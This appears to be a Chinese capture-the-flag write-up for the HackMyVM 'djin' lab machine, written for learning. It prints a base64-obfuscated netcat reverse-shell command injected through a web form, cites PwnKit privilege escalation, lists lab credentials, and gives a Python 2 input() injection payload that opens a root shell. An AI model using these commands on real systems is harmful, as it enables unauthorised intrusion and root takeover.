靶机信息
地址:https://hackmyvm.eu/machines/?v=djin
难度:easy
信息收集
端口扫描,扫到21,1337,7331开放,先用anonymous作为账号密码登陆21号端口,有三个txt文件,下载来看看
game里面说1337端口有个game,nc连接一下
是个计算游戏,需要算对一千次,这种就需要写个脚本解决了(以下脚本是参考wp的)
1 | import pwn |
跑完脚本最后给了三个数字,猜测是敲门,此时22端口是关着的
按顺序敲门后,22号端口打开了
接着我想用刚刚拿到的“nitu:81299””nitish81299”尝试登陆ssh,都没有用,这个时候想到之前有个7331端口还没看
先扫目录,用了一个大一点的字典后扫到有/wish /genie
访问/wish,有个可以execute的,输入id试试
跳转到了genie,注意url有出现www-data,说明是执行成功的
接下来反弹shell,经过多次尝试,发现可以利用拿到第一个shell
1 | echo ` echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL2Jhc2ggLWkgMj4mMXxuYyAxOTIuMTY4LjY0LjMgODg4OCA+L3RtcC9m" | base64 -d ` | sh - |
提权方式1
拿到第一个shell后,使用find查看有没有什么可以用(sudo -l找不到什么可以用的)
1 | find / -perm -u=s -type f 2>/dev/null |
看到pkexec可以用
查找到版本是0.105,上网搜索了一下有没有可以用的脚本,最后找到https://www.hackingarticles.in/linux-privilege-escalation-pwnkit-cve-2021-4034/ 可以用
成功提权到root
提权方法2
切换到home目录下,有nitish和sam两个用户,sam目录进不去,在nitish目录的.dev目录下有个creds.txt
有一个密码,接下来用ssh登陆nitish账户
p4ssw0rdStr3r0n9
sudo -l发现有个genie可以利用,在网上找现成的提权方式失败
-h查看帮助,有一个-e执行cmd,但是还是失败了
然后用man查看genie,发现有个cmd
1 | sudo -u sam /usr/bin/genie -cmd 随便写点 |
成功拿到sam的shell
sudo -l看到有个lago可以利用,执行看看,测试了一下,有几个选项,其中比较有用的是有个猜数游戏
解决思路1(暴力)
用个一直循环的脚本,一直坚持猜同一个数字,看运气,总有能猜对的时候
1 | while true; do sudo /root/lago; done |
解决思路2
在/home/sam的目录下有个.pyc文件,下载下来反编译一下,就能看到lago的源码,注意到
选项2那里有个判断,要判断s是否等于num,那直接输入num,input把你传递的num当成了一个变量(注意靶机的pyhton版本是2.x,如果是3以上的版本这个思路不行),num=num自然就可以了,神奇。
也可以利用input的动态载入,也能拿到root
1 | __import__('os').system('/bin/bash') |
输入这个python2的input支持动态载入,把这个语句当成表达式执行,如果是pyhton3就只会当成字符串
总结
这个靶机涉及到的知识点比较多:ftp下载文件,远程计算器脚本的编写,ssh敲门打开端口,反弹shell的绕过方法,pkexec的提权,man查看使用手册(比–help详细),pyc反编译,python2中input的智能转换和动态载入的利用,都很值得学习。
在整个过程中,信息搜集一如既往的重要。